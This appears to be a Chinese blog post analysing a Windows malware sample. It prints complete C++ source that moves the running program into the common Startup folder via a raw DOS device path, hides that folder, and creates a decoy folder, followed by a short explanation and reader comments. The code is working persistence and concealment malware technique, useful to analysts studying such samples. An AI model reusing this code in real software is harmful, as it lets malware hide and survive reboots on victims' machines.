一种简单的程序自隐藏、自启动的方式
样本:2016-04-11
特点:“自删除”、隐藏和添加自启动
#include "hideself.h"
#include <Windows.h>
#include <Shlobj.h>
#pragma comment(lib, "user32.lib")
#include <iostream>
using namespace std;
void hideself()
{
char szStartPath[MAX_PATH] = {0};
char szStartPath_cheatNew[MAX_PATH] = {0};
char szCurExePath[MAX_PATH] = {0};
char szNewExePath_start[MAX_PATH] = {0};
char szNewExePath_link[MAX_PATH] = {0};
char* psCurExeFilename = NULL;
HMODULE hmShell32 = LoadLibraryA("SHELL32.dll");
typedef BOOL (WINAPI *SHSFPAPITYPE)(HWND, LPSTR, int, BOOL);
SHSFPAPITYPE fSHSFPApi = (SHSFPAPITYPE)GetProcAddress(hmShell32, "SHGetSpecialFolderPathA");
fSHSFPApi(NULL, szStartPath, CSIDL_COMMON_STARTUP, FALSE);
wsprintf(szStartPath_cheatNew, "%s ", szStartPath);
GetModuleFileNameA(NULL, szCurExePath, MAX_PATH);
psCurExeFilename = strrchr(szCurExePath, '\\') + 1;
wsprintf(szNewExePath_start, "%s\\%s", szStartPath, psCurExeFilename);
if(GetFileAttributes(szNewExePath_start) == -1)
{
wsprintf(szNewExePath_link, "\\??\\%s\\%s", szStartPath, psCurExeFilename);
}
else
{
wsprintf(szNewExePath_link, "\\??\\%s\\%c%c%s", szStartPath, rand() / 0x19 + 'a', rand() / 0x19 + 'a', psCurExeFilename);
}
BOOL ifDefineOk = DefineDosDeviceA(DDD_RAW_TARGET_PATH, "device_dos_room", szNewExePath_link);
Sleep(100);
BOOL ifMoveOk = MoveFileExA(szCurExePath, "\\\\.\\device_dos_room", MOVEFILE_REPLACE_EXISTING);
int dwError = GetLastError();
BOOL ifSetHideOk = SetFileAttributesA(szStartPath, FILE_ATTRIBUTE_HIDDEN);
BOOL ifCreateCheatOk = CreateDirectoryA(szStartPath_cheatNew, NULL);
cout << "hideself ok!" << endl;
}
小结:这个样本实现隐藏自身的手法还是比较有特点的,其核心是调用一个MoveFileExA函数来移动程序的路径。正常情况下运行中的程序,我们无法去删除它,因为文件被映射到内存,文件资源处于被系统占用的状态。很多恶意程序为了把自身移动到一些隐蔽或敏感的地方,经常看到的做法是生成一个脚本,将自身复制到指定的路径启动后再删除原来的文件。此样本则不需要那么复杂,一个函数搞定。不过,这段代码在xp系统运行效果良好,在win 7以上代码则会受到一些权限影响,通常要管理员权限运行才能达到理想的效果。另外,样本的实现过程中,没有直接使用自身的路径,而是先将路径映射为一个虚拟设备,再通过设备路径来移动,这点意味值得深究。总体来看,虽然此段代码有一定的局限性,但是除了思路别出心裁之外,编写风格也算干净利落,可见作者功底还不错。
4 条评论
评论 从: tahf [游客]
OK,我原来以为是注册了什么来实现自启动的,现在明白了,非常感谢!!!
评论 从: tahf [游客]
您好,请教下这个自启动是怎么实现的?是注册系统服务还是注册虚拟设备?
表单载入中...
@tafh 你真是太客气了